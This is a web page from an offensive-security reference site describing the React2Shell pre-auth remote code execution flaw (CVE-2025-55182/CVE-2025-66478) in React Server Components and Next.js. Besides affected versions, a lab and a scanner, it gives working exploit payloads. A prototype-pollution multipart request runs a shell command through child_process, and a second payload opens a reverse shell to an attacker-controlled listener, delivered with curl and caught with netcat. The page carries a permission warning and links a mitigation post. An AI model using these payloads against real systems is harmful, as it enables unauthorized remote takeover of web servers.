# React2Shell - CVE-2025-55182 + CVE-2025-66478

- **URL:** https://hackindex.io/services/web/exploitation/react2shell-cve-2025-55182
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-01-01
- **Updated:** 2026-01-04

> [!WARNING]
> Only use these payloads and techniques on targets you own or have explicit written permission to test.

Unauthenticated pre-auth RCE in React Server Components (RSC) Flight protocol. Root cause: unsafe deserialization of client-submitted payloads, allowing prototype pollution to reach the Node.js Function constructor.

Affects default Next.js apps (App Router), even without explicit server actions. Standard create-next-app production builds are vulnerable out of the box. Also hits Waku, React Router RSC, etc.

## Affected Versions

### CVE-2025-55182 (React core - React2Shell primary CVE)

**Affected packages and versions:**

- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack

### CVE-2025-66478 (Next.js specific - now merged/duplicate of CVE-2025-55182)

Tracks downstream impact on Next.js App Router applications.

**Affected:**

- All Next.js 15.x releases
- All Next.js 16.x releases up to 16.0.6
- Next.js 14.3.0-canary.77 and later canary builds (when using App Router)

## 

## Test environment

If you want to test exploitation **and** mitigation in a controlled sandbox, use our open-source Docker lab for this issue: [https://github.com/HackIndex-io/React2Shell-CVE-2025-55182](https://github.com/HackIndex-io/React2Shell-CVE-2025-55182). It’s built for hands-on work: reproduce the bug, validate the exploit path, then patch and verify the fix. You can bring it up with:

```bash
git clone https://github.com/HackIndex-io/React2Shell-CVE-2025-55182
cd React2Shell-CVE-2025-55182
docker compose up --build --force-recreate
```

## Vulnerability Confirmation

### Automatic check

Use [assetnote's scanner](https://github.com/assetnote/react2shell-scanner) for quick check:

```bash
git clone https://github.com/assetnote/react2shell-scanner
cd react2shell-scanner
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 scanner.py -u $TARGET_URL
#
# brought to you by assetnote
#
# [*] Loaded 1 host(s) to scan
# [*] Using 10 thread(s)
# [*] Timeout: 10s
# [*] Using RCE PoC check
# [!] SSL verification disabled
#
# [VULNERABLE] http://127.0.0.1:3001 - Status: 303
#
# ============================================================
# SCAN SUMMARY
# ============================================================
#   Total hosts scanned: 1
#   Vulnerable: 1
#   Not vulnerable: 0
#   Errors: 0
# ============================================================
```

### **Manual check (curl):**

First create the form data payload which executes a sum of "1337 * 46" which should return 61502 on a valid execution. First this example we will save the contents bellow in check_payload.txt

```
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="0"

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B0\"}",
    "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('echo $((68616369*1000000+646578))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryHackIndex.io--

```

After making this file you can execute:

```bash
curl -i -X POST $TARGET_URL -H "next-action: arbitrary" -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHackIndex.io" --data-binary @check_payload.txt
# HTTP/1.1 303 See Other
# Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
# cache-control: private, no-cache, no-store, max-age=0, must-revalidate
# x-action-revalidated: [[],0,0]
# x-action-redirect: /login?a=68616369646578;push
# content-type: text/x-component
# date: Fri, 02 Jan 2026 10:59:10 GMT
# x-nextjs-cache: HIT
# x-nextjs-prerender: 1
# X-Powered-By: Next.js
# Connection: keep-alive
# Keep-Alive: timeout=5
# Transfer-Encoding: chunked
#
# 1:"$Sreact.fragment"
# 2:I[5244,[],""]
# 3:I[3866,[],""]
# 4:I[6213,[],"OutletBoundary"]
# 6:I[6213,[],"MetadataBoundary"]
# 8:I[6213,[],"ViewportBoundary"]
# 0:{"b":"EwekG_GehDMNhjkEEzcZ6","f":[[["",{"children":["/_not-found",{"children":["__PAGE__?{\"a\":\"68616369646578\"}",{}]}]},"$undefined","$undefined",true],["",["$","$1","c",{"children":[null,["$","html",null,{"lang":"en","children":["$","body",null,{"style":{"margin":0,"fontFamily":"-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif","backgroundColor":"#f7fafc","color":"#2d3748","minHeight":"100vh"},"children":["$","$L2",null,{"parallelRouterKey":"children","segmentPath":["children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L3",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":{"fontFamily":"system-ui,\"Segoe UI\",Roboto,Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\"","height":"100vh","textAlign":"center","display":"flex","flexDirection":"column","alignItems":"center","justifyContent":"center"},"children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":{"display":"inline-block","margin":"0 20px 0 0","padding":"0 23px 0 0","fontSize":24,"fontWeight":500,"verticalAlign":"top","lineHeight":"49px"},"children":"404"}],["$","div",null,{"style":{"display":"inline-block"},"children":["$","h2",null,{"style":{"fontSize":14,"fontWeight":400,"lineHeight":"49px","margin":0},"children":"This page could not be found."}]}]]}]}]],"notFoundStyles":[]}]}]}]]}],{"children":["/_not-found",["$","$1","c",{"children":[null,["$","$L2",null,{"parallelRouterKey":"children","segmentPath":["children","/_not-found","children"],"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L3",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","notFoundStyles":"$undefined"}]]}],{"children":["__PAGE__",["$","$1","c",{"children":[[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:style","children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:children:props:children:1:props:style","children":"404"}],["$","div",null,{"style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:children:props:children:2:props:style","children":["$","h2",null,{"style":"$0:f:0:1:1:props:children:1:props:children:props:children:props:notFound:1:props:children:props:children:2:props:children:props:style","children":"This page could not be found."}]}]]}]}]],null,["$","$L4",null,{"children":"$L5"}]]}],{},null]},null]},null],["$","$1","h",{"children":[["$","meta",null,{"name":"robots","content":"noindex"}],["$","$1","mzpLlEeFTUGHBkxAi3Aih",{"children":[["$","$L6",null,{"children":"$L7"}],["$","$L8",null,{"children":"$L9"}],null]}]]}]]],"S":false}
# 9:[["$","meta","0",{"name":"viewport","content":"width=device-width, initial-scale=1"}]]
# 7:[["$","meta","0",{"charSet":"utf-8"}],["$","title","1",{"children":"React2Shell Lab - Vulnerable Next.js App"}],["$","meta","2",{"name":"description","content":"Minimal vulnerable app for CVE-2025-55182 testing"}]]
# 5:null
```

Look for the x-action-redirect header containing ?a=68616369646578, which is the sum of our payload (68616369*1000000+646578)

## Exploitation

Basic reverse shell (Linux/Windows compatible):

Start listener first:

```bash
nc -lvnp $LISTENER_PORT
```

Then create the shell exploit payload as form-data:saving it, for example, as `shell_payload.txt`:and be sure to include your listener IP and port, like this:

```
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="0"

{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B0\"}",
    "_response": {
        "_prefix": "var net = process.mainModule.require('net'), cp = process.mainModule.require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(YOUR_LISTENER_PORT, 'YOUR_LISTENER_IP', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;",
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryHackIndex.io
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryHackIndex.io--

```

and then send this payload to the React app with:

```bash
curl -i -X POST $TARGET_URL -H "next-action: arbitrary" -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHackIndex.io" --data-binary @shell_payload.txt
```

If the command runs successfully, you won’t get any response, and the curl command will hang, which is expected behavior. After this you can interact with the reverse shell in your listener.

If you would like to mitigate this vulnerability, then take a look at this [HackIndex blog post](https://hackindex.io/services/web/protect/protect-react2shell-cve-2025-55182).

## References

- [Assetnote React2Shell scanner](https://github.com/assetnote/react2shell-scanner) - Tool to verify React2Shell exploit on target
- [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182) - NIST Details of CVE-2025-55182
- [CVE-2025-66478](https://nvd.nist.gov/vuln/detail/CVE-2025-66478) - NIST (rejected) Details of CVE-2025-66478
- [Report on CVE-2025-55182 & CVE-2025-66478](https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478) - Goes into detail about these CVEs
